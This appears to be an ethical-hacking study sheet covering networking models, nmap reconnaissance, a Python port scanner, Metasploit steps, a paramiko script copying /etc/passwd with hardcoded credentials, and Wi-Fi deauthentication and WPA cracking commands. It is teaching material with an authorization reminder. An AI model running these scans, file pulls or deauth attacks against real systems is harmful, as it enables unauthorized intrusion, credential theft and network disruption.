Networking Concepts and Ethical Hacking Techniques

For Educational Purposes Only

Contents

1 Networking Concepts

1.1 1. OSI Model (7 Layers)

1. **Physical Layer:** Deals with hardware (e.g., cables, switches).
2. **Data Link Layer:** MAC addressing, switches, and Ethernet.
3. **Network Layer:** IP addressing, routers.
4. **Transport Layer:** TCP/UDP, port numbers.
5. **Session Layer:** Manages sessions, SSL/TLS.
6. **Presentation Layer:** Encryption and compression.
7. **Application Layer:** User interaction (e.g., HTTP, FTP).

1.2 2. TCP/IP Model (4 Layers)

- **Network Interface:** Physical devices and MAC addressing.
- **Internet:** IP addresses, routing.
- **Transport:** TCP (connection-oriented) and UDP (connectionless).
- **Application:** Protocols like HTTP, DNS, SMTP.

1.3 3. Important Networking Commands

```
# Check IP Address
ifconfig

# Check routing table
route -n

# Ping a host
ping <hostname_or_ip>

# Traceroute to check hops
traceroute <hostname_or_ip>

# DNS Lookup
nslookup <domain>

# ARP Table
arp -a
```

```
18
19 # Netstat: Show active connections
20 netstat -an
```

Listing 1: Bash Commands for Networking

2 Ethical Hacking Techniques

2.1 1. Reconnaissance

Purpose: Collect information about the target.

- Active Recon: Directly interacting with the target.
- Passive Recon: Using publicly available information.

2.1.1 Tools and Techniques

```
1 # Ping Sweep
2 ping -c 4 <target_ip>
3
4 # Host Discovery
5 nmap -sn <target_network>
6
7 # Port Scanning
8 nmap -p- <target_ip>
9
10 # DNS Enumeration
11 nslookup <domain>
12 dig <domain>
13
14 # WHOIS Lookup
15 whois <domain>
```

Listing 2: Bash Commands for Recon

2.2 2. Scanning and Enumeration

Purpose: Discover live hosts, open ports, and services.

2.2.1 Using Nmap

```
# Quick scan for live hosts
nmap -sn <target_subnet>

# Full port scan
nmap -p- <target_ip>

# Service and OS detection
nmap -sS -sV -O <target_ip>

# Save results
nmap -oN results.txt <target_ip>
```

Listing 3: Nmap Scanning Commands

2.2.2 Python Implementation for Scanning

```
import socket

def port_scan(target, ports):
    for port in range(1, ports + 1):
        try:
            s = socket.socket(socket.AF_INET, socket.
    SOCK_STREAM)
            s.settimeout(0.5)
            result = s.connect_ex((target, port))
            if result == 0:
                print(f"Port {port} is open")
            s.close()
        except Exception as e:
            print(f"Error: {e}")

port_scan("192.168.1.1", 100)
```

Listing 4: Python Code for Scanning

2.3 3. Gaining Access

Purpose: Exploit vulnerabilities to access the target system.

2.3.1 Metasploit Framework

```
# Start Metasploit
msfconsole

# Search for exploits
search <vulnerability_name>
```

```

# Use an exploit
use <exploit_name>

# Set options
set RHOST <target_ip>
set LHOST <attacker_ip>

# Run the exploit
exploit
```

Listing 5: Using Metasploit Framework

2.4 4. Post-Exploitation

Purpose: Gather further information or maintain access.

- Pivoting: Access internal networks.
- Data Extraction: Download sensitive files.
- Creating Backdoors: Establish persistence.

2.4.1 Python Example for File Extraction

```
import paramiko

def ssh_file_download(target_ip, username, password,
    file_path, dest_path):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(target_ip, username=username, password=
    password)
    sftp = ssh.open_sftp()
    sftp.get(file_path, dest_path)
    sftp.close()
    ssh.close()

ssh_file_download("192.168.1.1", "admin", "password123", "/
    etc/passwd", "passwd_copy")
```

Listing 6: Python Code for File Extraction

3 Wireless Attacks

3.1 1. Capturing Packets

```
# Start monitor mode
airmon-ng start wlan0

# Capture packets
airodump-ng wlan0mon

# Filter by BSSID and channel
airodump-ng --bssid <bssid> --channel <channel> wlan0mon
```

Listing 7: Bash Commands for Packet Capture

3.2 2. Deauthentication Attack

```
# Disconnect users
aireplay-ng --deauth <packets> -a <AP_MAC> wlan0mon
```

Listing 8: Bash Command for Deauth Attack

3.3 3. WPA Handshake Cracking

```
# Capture handshake
airodump-ng --write handshake wlan0mon

# Crack with wordlist
aircrack-ng handshake.cap -w wordlist.txt
```

Listing 9: Cracking WPA Handshake

4 Ethical Considerations

- Always obtain proper authorization before conducting any hacking activities.
- Use these techniques in controlled environments, such as ethical hacking labs.
- Respect privacy and comply with legal frameworks.